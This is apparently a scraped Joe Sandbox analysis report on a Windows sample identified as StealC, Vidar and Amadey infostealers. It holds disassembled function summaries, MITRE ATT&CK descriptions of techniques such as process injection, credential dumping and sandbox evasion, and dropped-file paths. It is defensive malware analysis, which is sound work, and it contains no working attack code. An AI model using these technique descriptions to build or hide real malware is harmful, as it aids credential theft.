Opcode ID: 695e93fad54ff604880b99001dc74fa2380175a4ee460996f0b38120e7070631
Instruction ID: b2be4b8b39fcd18d42a4a06dc5a52f19af466367729c774e3c6e0842ed66a7ec
Opcode Fuzzy Hash: 695e93fad54ff604880b99001dc74fa2380175a4ee460996f0b38120e7070631
Instruction Fuzzy Hash: 77F012B56002487FDB00AB54DC81DAF376DDB46628F040024FD0857741DA76BD2986FB

Function 6CB885B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB885D3

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB88725

Strings

map/set<T> too long, xrefs: 6CB88720

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: b5c3016fbac4d9def6f3a67b83765d5086394a251a63f35532a15eec906cb9c6
Instruction ID: 476b77c864ab10f7af2531b425575f5cc7b9c1918510fdb68ab4db1742c943c2
Opcode Fuzzy Hash: b5c3016fbac4d9def6f3a67b83765d5086394a251a63f35532a15eec906cb9c6
Instruction Fuzzy Hash: F3518674602681CFC701CF18C084A5ABBF1FF5A318F18C28AD8595BB66C736E885CF92

Function 6CB3BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CB3BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB3BE8F

Strings

0, xrefs: 6CB3BE5B

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: f5255ffe87ffc88d0c5ab0536668bf99cbbab319b9d5f0f208bec6e4370c8f6a
Instruction ID: 2299c921c670bf4bb6b56310f011c84282bf4f95a20caa70fb0ba1d6bf4677d1
Opcode Fuzzy Hash: f5255ffe87ffc88d0c5ab0536668bf99cbbab319b9d5f0f208bec6e4370c8f6a
Instruction Fuzzy Hash: 7E41AF71909BA5CFC701CF29C481A9FB7F4EF8A348F005A1DF989A7655D730E9498B82

Function 6CB73CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB73D19
mozalloc_abort.MOZGLUE(?), ref: 6CB73D6C

Strings

d, xrefs: 6CB73D58

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 188987dcbb60407e6b029aeaa4764aea0b506fce2156dc3fa1bd65e1ebffd0d0
Instruction ID: e6f9f7550ca8d2d010609528f1b80bb328bba80292cdf2b91ade90a3f7ba5834
Opcode Fuzzy Hash: 188987dcbb60407e6b029aeaa4764aea0b506fce2156dc3fa1bd65e1ebffd0d0
Instruction Fuzzy Hash: 01112331E047D8DBDB108BA9DD154EEB775EF86318B448219EC959B612FB30A5C4C3A0

Function 6CB96DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB96E22
__Init_thread_footer.LIBCMT ref: 6CB96E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB96E1D

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 8f49ff496f11258a29707a2723d1089a8e4e301575e55aba5dbd785e46d3605e
Instruction ID: 2945795d58d89bd108549bb3c621bd9ddbc2547dac6762b79b5d464c36f9526a
Opcode Fuzzy Hash: 8f49ff496f11258a29707a2723d1089a8e4e301575e55aba5dbd785e46d3605e
Instruction Fuzzy Hash: 99F0E97D6096C2CBDA009B7CC850A957772D717228F080175CC0647F61DF31A906CEDB

Function 6CB49E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB49EEF

Strings

Infinity, xrefs: 6CB49EB7
NaN, xrefs: 6CB49EC1

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 5ce486ffe2545c44a800a41a8309f1ce8bd189f208fce36d0bf39044a3448078
Instruction ID: 2b85e5db8b9a051d0c5c1c959b628521b60eb6e9d3e88c8d2d5177bc59ea9ec0
Opcode Fuzzy Hash: 5ce486ffe2545c44a800a41a8309f1ce8bd189f208fce36d0bf39044a3448078
Instruction Fuzzy Hash: 0CF0F07CA042E1CBDB00CF5CE94ABA43371F747318F244A99C5401BB40DF35664ACB8A

Function 6CB4BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CB4BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CB4BEF5

Strings

cryptbase.dll, xrefs: 6CB4BEF0

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 66800c2fadbbff46d7c187569f454dda7d7e294cdbd541e4cce3eae74b2d6258
Instruction ID: d7f303b5ad38b62f515b6538ab082a8e63affa59498cab0fa735c03a608aaa13
Opcode Fuzzy Hash: 66800c2fadbbff46d7c187569f454dda7d7e294cdbd541e4cce3eae74b2d6258
Instruction Fuzzy Hash: C9D023311C4548F7C7006B608C05F2D3778E705325F10C820F30554C61CFB09410DF54

Function 6CB8B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB8B2C9,?,?,?,6CB8B127,?,?,?,?,?,?,?,?,?,6CB8AE52), ref: 6CB8B628

Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB890FF
Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB89108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB8B2C9,?,?,?,6CB8B127,?,?,?,?,?,?,?,?,?,6CB8AE52), ref: 6CB8B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB8B2C9,?,?,?,6CB8B127,?,?,?,?,?,?,?,?,?,6CB8AE52), ref: 6CB8B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB8B127,?,?,?,?,?,?,?,?), ref: 6CB8B74D

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 29e73a353e039ad1d6833216bfa1ff5ab214ae14899bb31d7d2142053e891d1e
Instruction ID: 75bb71f693042a2102501cfb5c77fd7756bf3421f23eecc52f0b46597448e183
Opcode Fuzzy Hash: 29e73a353e039ad1d6833216bfa1ff5ab214ae14899bb31d7d2142053e891d1e
Instruction Fuzzy Hash: BC51ECB5A023568FEF14CF28CD8066EB7B5FF85304F55852DC85AAB710DB31A804CBA2

Function 6CB9B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CB40A4D), ref: 6CB9B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CB40A4D), ref: 6CB9B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB40A4D), ref: 6CB9B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CB40A4D), ref: 6CB9B67F

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 0e01f9742d718b0d69fad1353fd53e06a654e87520711945b848b77c429db531
Instruction ID: 997f5ecb14fc7ab5e947879249b18e357fac2914e10f82a34d3279e4a8d07762
Opcode Fuzzy Hash: 0e01f9742d718b0d69fad1353fd53e06a654e87520711945b848b77c429db531
Instruction Fuzzy Hash: 3231D271A012168FDB20CF58C84465AFBBAFF82304F568679D80A9B211EB31F915CBA1

Function 6CB6F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB6F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB6F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB6F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB6F668

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 23870691798a93146841c5dab337f22d2e7cdbd1c591befa27d89407cdc2b423
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 7E312C71A00254AFC714CF5ADDC0A9F77F5EB84354B148539EA4A8BB04D632ED458B94

Function 6CB826B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB826C1
free.MOZGLUE(?), ref: 6CB826E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB826FF
free.MOZGLUE ref: 6CB8270D

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c35380690b201a9ec413cc4fb102829b04d1ee58e563e5b5ea6f74e56ebf695c
Instruction ID: 7932b99f15a4dbe4a5ee322e7b0dc44fd24c36e12e850436b0d4171f5e6f1f01
Opcode Fuzzy Hash: c35380690b201a9ec413cc4fb102829b04d1ee58e563e5b5ea6f74e56ebf695c
Instruction Fuzzy Hash: C7F0A9B67022815BEB009E19D88495B73ADEF51259B540035FA1AD3B01E731F919C7A7

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CBGCAFII

C:\ProgramData\DAKEBAKFHCFHIEBFBAFBKFCAEH

C:\ProgramData\DGCAAFBFBKFIDGDHJDBKECFBAF

C:\ProgramData\EBFBKFBG

C:\ProgramData\EHCGIJDHDGDBGDGCGCFHJKKECG

C:\ProgramData\FBFHDBKJEGHJJJKFIIJE

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
